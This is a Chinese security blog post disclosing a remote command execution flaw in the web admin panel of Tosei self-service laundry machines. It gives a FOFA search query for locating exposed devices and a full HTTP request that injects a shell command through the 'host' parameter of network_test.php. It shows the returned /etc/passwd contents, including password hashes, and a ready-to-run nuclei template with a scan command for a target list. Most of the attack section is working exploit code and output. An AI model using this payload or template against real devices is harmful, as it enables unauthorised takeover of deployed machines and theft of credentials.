日本tosei自助洗衣机RCE漏洞

admin
admin
admin
138674
文章
114
评论
2023年12月21日13:44:51评论150 views字数 4027阅读13分25秒阅读模式
 

免责申明：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！

 

福利：小编整理了大量电子书和护网常用工具，在文末免费获取。

 

01 漏洞名称

 

 

tosei 自助洗衣机 network_test.php 远程命令执行漏洞

 

 

 

02 漏洞影响

 

tosei 自助洗衣机web管理端

日本tosei自助洗衣机RCE漏洞

 

03 漏洞描述

 

日本Tosei 自助洗衣机 web 管理端存在安全漏洞，攻击者利用该漏洞可以通过 network_test.php 的命令执行,在服务器任意执行代码，获取服务器权限，进而控制整个服务器。

 

04 FOFA搜索语句

body="tosei_login_check.php"

日本tosei自助洗衣机RCE漏洞

 

05 漏洞复现

 

向靶场发送如下数据包

POST /cgi-bin/network_test.php HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36Connection: closeContent-Length: 44Accept: */*Accept-Encoding: gzipAccept-Language: enContent-Type: application/x-www-form-urlencoded
host=%0acat${IFS}/etc/passwd%0a&command=ping

响应内容如下

HTTP/1.1 200 OKConnection: closeTransfer-Encoding: chunkedContent-Type: text/htmlDate: Tue, 19 Dec 2023 08:29:06 GMTServer: Apache/1.3.31 (Unix)X-Powered-By: PHP/4.4.2

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><HEAD>        <META HTTP-EQUIV="Content-Type" CONTENT="text/css"><LINK HREF="/css/style4.css" REL="stylesheet" TYPE="text/css" charset="SJIS" />        <LINK REL="SHORTCUT ICON" HREF="/favicon.ico">        <SCRIPT LANGUAGE="JavaScript"><!--        function checkChar( str ){                for( ii = 0 ; ii < str.length ; ii++ ){                        code = str.charCodeAt(ii);                        if( (code < 0x2d) || (0x7a < code)                                || code == 0x2f                                || ( 0x3a <= code && code <= 0x40 )                                || ( 0x5b <= code && code <= 0x5e )                                || code == 0x60                        ){                                return false;                        }                }                return true;        }        function checkHost( box, org ){                if( checkChar(box.value) == false ){                        alert("���͂��ꂽ�z�X�g���ɕs�K�ȕ������܂܂��Ă��܂�n"                                + "���͉�ȕ����F�@���p�p���� �Ɓu.�v�u-�v�u_�vn"                        );                        box.value = org;                }        }--></SCRIPT>        <TITLE>�l�b�g���[�N���ʃ`�F�b�N</TITLE></HEAD><BODY>
<A HREF="../system_frame.html" TARGET="_top">�߂�</A>
<H1>�l�b�g���[�N���ʃ`�F�b�N</H1>
<TABLE WIDTH="80%"><TR><TH>ping�R�}���h�̌���</TH></TR><TR><TD><PRE>root:$1$$oCLuEVgI1iAqOA8pwkzAg1:0:0:root:/home/root:/bin/bashbin:*:1:1:bin:/bin:daemon:*:2:2:daemon:/sbin:adm:*:3:4:adm:/var/adm:lp:*:4:7:lp:/var/spool/lpd:sync:*:5:0:sync:/sbin:/bin/syncshutdown:*:6:0:shutdown:/sbin:/sbin/shutdownhalt:*:7:0:halt:/sbin:/sbin/haltmail:*:8:12:mail:/var/spool/mail:news:*:9:13:news:/var/spool/news:uucp:*:10:14:uucp:/var/spool/uucp:operator:*:11:0:operator:/root:games:*:12:100:games:/usr/games:gopher:*:13:30:gopher:/usr/lib/gopher-data:ftp:*:14:50:FTP User:/home/ftp:nobody:*:99:99:Nobody:/:nscd:*:28:28:NSCD Daemon:/:/bin/falsemailnull:*:47:47::/var/spool/mqueue:/dev/nullident:*:98:98:pident user:/:/bin/falserpc:*:32:32:Portmapper RPC user:/:/bin/falserpcuser:*:29:29:RPC Service User:/var/lib/nfs:/bin/falsexfs:*:43:43:X Font Server:/etc/X11/fs:/bin/falsegdm:*:42:42::/home/gdm:/bin/bashsshd:*:100:100:OpenSSH Privilege Separation:/var/run/sshd:contec:$1$$Rq3kyMBU/8HuEGYDeWsm81:501:501:Linux User,,,:/home/contec:/bin/bashfws:$1$$YWF0cxGsQLEPNeBm/hxa0.:502:502:Linux User,,,:/home/fws:/bin/sh<br/></PRE></TD></TR></TABLE>
<FORM ACTION="network_test.php" METHOD="post"><TABLE WIDTH="80%">        <TR>                <TH WIDTH="30%">�����Ώۃz�X�g��</TH>                <TD WIDTH="70%">                        <INPUT TYPE="text" NAME="host" VALUE="cat${IFS}/etc/passwd" LENGTH="30" MAXLENGTH="40" onBlur="checkHost( this, '')" style="width:150px">                        �@���z�X�g����IP�A�h���X�Ŏw��                </TD>        </TR>        <TR>                <TH>�����R�}���h</TH>                <TD>                        <TABLE CLASS="inner">                                <TR>                                        <TD CLASS="inner">                                                �l�b�g���[�N�̓��ʂ��m�F                                        </TD>                                        <TD CLASS="inner">                                                ���@<INPUT TYPE="submit" NAME="command" VALUE="ping">                                        </TD>                                </TR>                                <TR>                                        <TD CLASS="inner">                                                DNS�̖��O�������m�F                                        </TD>                                        <TD CLASS="inner">                                                ���@<INPUT TYPE="submit" NAME="command" VALUE="nslookup">                                        </TD>                                </TR>                        </TABLE>                </TD>        </TR></TABLE>
</FORM>
</BODY></HTML>

 

漏洞复现成功

 

 

06  nuclei poc

 

poc文件内容如下

id: tosei-network_test-rceinfo:  name: Tosei 自助洗衣机 network_test.php RCE漏洞  author: fgz  severity: critical  description: 'Tosei 自助洗衣机 web 管理端存在安全漏洞，攻击者利用该漏洞可以通过 network_test.php 的命令执行,在服务器任意执行代码，获取服务器权限，进而控制整个服务器。'  tags: 2023,tosei,rce  metadata:    max-request: 3    fofa-query: body="tosei_login_check.php"    verified: true
http:  - method: POST    path:      - "{{BaseURL}}/cgi-bin/network_test.php"    headers:      Content-Type: application/x-www-form-urlencoded      Accept-Encoding: gzip    body: "host=%0acat${IFS}/etc/passwd%0a&command=ping"
    matchers:      - type: dsl        dsl:          - "status_code == 200 && contains(body, 'root:')"

运行POC

nuclei.exe -t tosei-network_test-rce.yaml -l tosei.txt

日本tosei自助洗衣机RCE漏洞

 

 

07 修复建议

 

升级到最新版本。

 

 

原文始发于微信公众号（AI与网安）：日本tosei自助洗衣机RCE漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月21日13:44:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   日本tosei自助洗衣机RCE漏洞http://cn-sec.com/archives/2323808.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息